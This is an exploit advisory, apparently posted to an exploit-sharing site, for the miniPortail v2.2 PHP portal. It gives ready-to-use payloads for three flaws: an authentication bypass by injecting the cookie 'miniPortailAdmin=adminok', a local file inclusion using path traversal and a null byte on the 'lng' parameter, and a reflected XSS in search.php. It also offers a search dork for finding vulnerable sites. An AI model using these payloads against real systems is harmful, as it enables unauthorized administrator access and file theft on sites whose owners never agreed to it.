miniPortail v2.2 Multiple Vulnerabilities

					  +---------------------------------info-----------------------------------+
                      | Exploit Title  :  miniPortail v2.2 Multiple Vulnerabilities            |
                      | version        :  all version                                          |
                      | Author         :  Or4nG.M4n                                            |
                      | Dork           :  "miniPortail v2.2"                                   |
                      | Software Link  :  www.aldweb.com                                       |
					  | Thnks & great  :  sA^Dev!L h311c0d3 ahwak2000 xSsm4n Cyb3r Crystal Hcj |
					  | Sp.            :  r00t-s3c.com v4-team.com => abo.b4s!l Hk Dr.S!lver   |
  					  +------------------------Insecure Cookie Handling------------------------+
                      | vuln file : /admin/admin.php                                           |
					  | vuln code : $portalname = "miniPortailAdmin";  <--------+ [1]          |
                      |$cookiedata = "adminok";  <------------------------+ [2] |              |
                      |include("mdp.php");                                |     |              |
                      |if (md5($pass) == $mdp) {                          |     |              |
                      |      setcookie($portalname, $cookiedata); <-------+-----+ [3]          |
                      |               }                                                        |
                      |        elseif ($logout == 1) {                                         |
                      |        setcookie($portalname, "");                                     |
                      |        header("location:../index.php");                                |
                      |             }                                                          |
					  | You : okey Or4nG.M4n i am Understand .. but how i can exploit this bug |
					  | Me  : this easy bro just inject this cookie in your browser            |
                      | Ex  : miniPortailAdmin=adminok				                           |
					  +------------------------Insecure Cookie Handling------------------------+
					  +--------------------------Local File inclusion--------------------------+
					  | vuln File : inc/includes.inc                                           |
					  | vuln code :                                                            |
					  | include($chemin."inc/lang/".$lng."-web.inc");                          |
					  | .$lng. <= ../../../../../../../                                        |
					  | "-web.inc" <= %00                                                      |
					  | Ex : [any file].php?lng=../../../../../../../../boot.ini%00            |
					  +--------------------------Local File inclusion--------------------------+
					  +--------------------------Cross Site Scripting--------------------------+
					  | vuln file : search.php                                                 |
					  | vuln code :                                                            |
                        echo "<p align=\"center\"><b>1</b> ".$web60." \"<b>".$search."</b>\"   |
					  | Ex   : search.php?lng=fr&search=<h1>xssed</h1>
					  +--------------------------Cross Site Scripting--------------------------+
					                                 ||       |
												     ||       |
												     ||       |
												     ||       |
												     ||       |
								           ________\\||       |//________



#  0day.today [2018-01-01]  #